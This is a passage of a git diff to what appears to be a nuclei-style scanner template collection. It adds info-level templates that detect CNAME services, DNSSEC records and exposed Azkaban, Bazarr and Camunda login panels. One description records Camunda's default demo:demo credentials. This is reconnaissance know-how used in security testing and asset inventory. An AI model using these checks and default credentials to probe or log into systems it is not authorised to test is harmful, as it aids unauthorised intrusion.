condition: or - words: - - "authns1.lowes.com" - - "authns2.lowes.com" - - - type: word - name: tmobile - condition: or - words: - - "ns10.tmobileus.com" - - "ns10.tmobileus.net" diff --git a/dns/cname-service-detector.yaml b/dns/cname-service-detection.yaml similarity index 68% rename from dns/cname-service-detector.yaml rename to dns/cname-service-detection.yaml index fe586cd0ce..dea6bbb752 100644 --- a/dns/cname-service-detector.yaml +++ b/dns/cname-service-detection.yaml @@ -1,7 +1,7 @@ -id: cname-service-detector +id: cname-service-detection info: - name: 3rd party service checker + name: cname service detection author: pdteam severity: info tags: dns @@ -12,13 +12,20 @@ dns: class: inet recursion: true retries: 5 + matchers-condition: or matchers: - type: word name: zendesk words: - "zendesk.com" + - type: word name: github words: - "github.io" + + - type: word + name: announcekit + words: + - "cname.announcekit.app" \ No newline at end of file diff --git a/dns/dnssec-detection.yaml b/dns/dnssec-detection.yaml new file mode 100644 index 0000000000..7c64193c85 --- /dev/null +++ b/dns/dnssec-detection.yaml @@ -0,0 +1,22 @@ +id: dnssec-detection + +info: + name: DNSSEC Detection + description: A template to check if Delegation of Signing (DS) record provides information about a signed zone file when DNSSEC enabled. + author: pdteam + severity: info + tags: dns,dnssec + reference: https://www.cyberciti.biz/faq/unix-linux-test-and-validate-dnssec-using-dig-command-line/ + +dns: + - name: "{{FQDN}}" + type: DS + class: inet + recursion: true + retries: 3 + + extractors: + - type: regex + group: 1 + regex: + - "IN\tDS\t(.+)" diff --git a/exposed-panels/azkaban-web-client.yaml b/exposed-panels/azkaban-web-client.yaml new file mode 100644 index 0000000000..8d916af0d2 --- /dev/null +++ b/exposed-panels/azkaban-web-client.yaml @@ -0,0 +1,22 @@ +id: azkaban-web-client + +info: + name: Azkaban Web Client + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - 'Azkaban Web Client' + - type: status + status: + - 200 diff --git a/exposed-panels/bazarr-login.yaml b/exposed-panels/bazarr-login.yaml new file mode 100644 index 0000000000..87b5c39966 --- /dev/null +++ b/exposed-panels/bazarr-login.yaml @@ -0,0 +1,18 @@ +id: bazarr-login-detect + +info: + name: Bazarr Login Detect + author: r3dg33k + severity: info + reference: https://www.bazarr.media/ + tags: panel,bazarr,login + +requests: + - method: GET + path: + - "{{BaseURL}}/login" + + matchers: + - type: word + words: + - 'Bazarr' \ No newline at end of file diff --git a/exposed-panels/camunda-login-panel.yaml b/exposed-panels/camunda-login-panel.yaml new file mode 100644 index 0000000000..ca5b5f04c2 --- /dev/null +++ b/exposed-panels/camunda-login-panel.yaml @@ -0,0 +1,31 @@ +id: camunda-login-panel +info: + name: Camunda Login panel + author: alifathi-h1 + severity: info + description: Default Credentials of demo:demo on Camunda application. + reference: https://docs.camunda.org/manual/7.15/webapps/admin/user-management/ + tags: camunda,panel + +requests: + - method: GET + path: + - '{{BaseURL}}/app/welcome/default/#!/login' + - '{{BaseURL}}/camunda/app/welcome/default/#!/login' + + matchers-condition: and + matchers: + + - type: word + words: + - "Camunda Welcome" + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '